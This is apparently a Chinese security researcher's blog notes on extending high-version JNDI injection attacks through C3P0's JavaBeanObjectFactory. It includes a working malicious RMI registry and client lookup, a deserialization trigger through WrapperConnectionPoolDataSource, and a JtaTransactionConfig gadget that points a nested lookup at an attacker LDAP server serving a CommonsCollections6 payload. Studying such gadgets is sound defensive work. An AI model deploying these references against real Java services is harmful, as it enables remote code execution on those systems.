前言
学习,类似Tomcat依赖环境下的利用方式,这次学习的是C3P0依赖环境下的利用方式,算是一种拓展攻击面吧。
类似Tomcat环境下的BeanFactory可以调用一个public方法,该环境中的JavaBeanObjectFactory可以调用setter。
此外还需要一个环境ibatis-sqlmap下面的JtaTransactionConfig类,用于嵌套多一层JNDI。
环境搭建
两个依赖:
1 2 3 4 5 6 7 8 9 10 11 12
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.10.2</version> </dependency>
<dependency> <groupId>org.apache.ibatis</groupId> <artifactId>ibatis-sqlmap</artifactId> <version>2.3.4.726</version> </dependency>
|
C3P0
回忆一下,本地Factory要满足的两个条件:
- 继承ObjectFactory
- 存在getObjectInstance方法
然后就可以调用它的getObjectInstance函数。
而C3P0JavaBeanObjectFactory继承自JavaBeanObjectFactory类,其getObjectInstance函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public Object getObjectInstance(Object refObj, Name name, Context nameCtx, Hashtable env) throws Exception { if (refObj instanceof Reference) { Reference ref = (Reference) refObj; Map refAddrsMap = new HashMap(); for (Enumeration e = ref.getAll(); e.hasMoreElements(); ) { RefAddr addr = (RefAddr) e.nextElement(); refAddrsMap.put( addr.getType(), addr ); } Class beanClass = Class.forName( ref.getClassName() ); Set refProps = null; RefAddr refPropsRefAddr = (BinaryRefAddr) refAddrsMap.remove( JavaBeanReferenceMaker.REF_PROPS_KEY ); if ( refPropsRefAddr != null ) refProps = (Set) SerializableUtils.fromByteArray( (byte[]) refPropsRefAddr.getContent() ); Map propMap = createPropertyMap( beanClass, refAddrsMap ); return findBean( beanClass, propMap, refProps ); } else return null; }
|
可以看到非常令人激动的函数名称findBean,这个getObjectInstance函数的逻辑看起来就是从ref对象里面取出类名和属性名,再进入findBean函数进行实例化和反射赋值。
再看看这个findBean函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception { Object bean = createBlankInstance( beanClass ); BeanInfo bi = Introspector.getBeanInfo( bean.getClass() ); PropertyDescriptor[] pds = bi.getPropertyDescriptors(); for (int i = 0, len = pds.length; i < len; ++i) { PropertyDescriptor pd = pds[i]; String propertyName = pd.getName(); Object value = propertyMap.get( propertyName ); Method setter = pd.getWriteMethod(); if (value != null) { if (setter != null) setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } ); else { ... } } ... } return bean; }
|
可以看到createBlankInstance先创建了一个空白的对象:
1 2
| protected Object createBlankInstance(Class beanClass) throws Exception { return beanClass.newInstance(); }
|
再调用setter,由于setter是按顺序调用的,因此可能导致利用的时候发生一些错误,比如参考文章里调用JdbcRowSetImpl的setter时就因为顺序问题导致发起JNDI连接失败。
发现ResourceRef类无法引入,看起来需要在pom.xml中引入一下Tomcat依赖:
1 2 3 4 5 6
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>10.1.39</version> </dependency>
|
结果发现版本有问题,Tomcat10不能在Java8运行,只能删掉改成从磁盘上的Tomcat引入jar包了。
写一个Test.java用于测试setter调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example;
public class Test { private String data;
public void setData(String data) { this.data = data; System.out.println(data); }
public String getData() { return data; } }
|
搭建一下RMI服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.StringRefAddr; import java.io.IOException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import org.apache.naming.ResourceRef;
public class App { public static void main( String[] args ) { try { Registry registry = LocateRegistry.createRegistry(8888); ResourceRef resourceRef = c3p0(); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("c3p0", referenceWrapper); }catch (Exception e) { e.printStackTrace(); } System.out.println("Registry运行中......"); }
private static ResourceRef c3p0() throws IOException { ResourceRef ref = new ResourceRef("org.example.Test",null,"","",true, "com.mchange.v2.naming.JavaBeanObjectFactory",null); ref.add(new StringRefAddr("data", "Hello, World!")); return ref; } }
|
再启动客户端去连接,在实际应用中,这一步可以通过Fastjson反序列化、JNDI注入等方式来实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import javax.naming.InitialContext;
public class Client { public static void main(String[] args) { try { String string = "rmi://localhost:8888/c3p0"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); }catch (Exception e) { e.printStackTrace(); } } }
|
启动,看到setter正常触发了:
1 2 3 4 5 6 7 8 9
| 三月 13, 2025 10:08:28 上午 com.mchange.v2.log.MLog 信息: MLog clients using java 1.4+ standard logging. 三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: singleton 三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: auth 三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: scope Hello, World!
|
通过C3P0依赖,可以按顺序调用setter,一般情况下不会有什么未初始化问题。
WrapperConnectionPoolDataSource
用于开启一个字节流反序列化点,不过JNDI使用LDAP好像就有反序列化功能了。
通过setUserOverridesAsString可以触发反序列化:
1 2 3 4 5 6
| private static ResourceRef c3p0() throws IOException { ResourceRef ref = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",null,"","",true, "com.mchange.v2.naming.JavaBeanObjectFactory",null); ref.add(new StringRefAddr("userOverridesAsString", "Hello, World!")); return ref; }
|
JtaTransactionConfig
用于嵌套多一层JNDI,应用面可能比较窄。
参考文章:
1 2 3 4 5 6 7 8 9 10 11
| private static ResourceRef jndi() throws IOException { ResourceRef ref = new ResourceRef("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null); Properties properties = new Properties(); properties.put("UserTransaction", "ldap://127.0.0.1:1389/deserialCommonsCollections6"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(properties); byte [] bytes = byteArrayOutputStream.toByteArray(); ref.add(new BinaryRefAddr("properties", bytes)); return ref; }
|
由于setProperties方法需要的参数properties类型为Properties,因此不能使用StringRefAddr,需要使用RefAddr的另一个实现类BinaryRefAddr。
高版本 jndi 调用 setter 方法拓展攻击面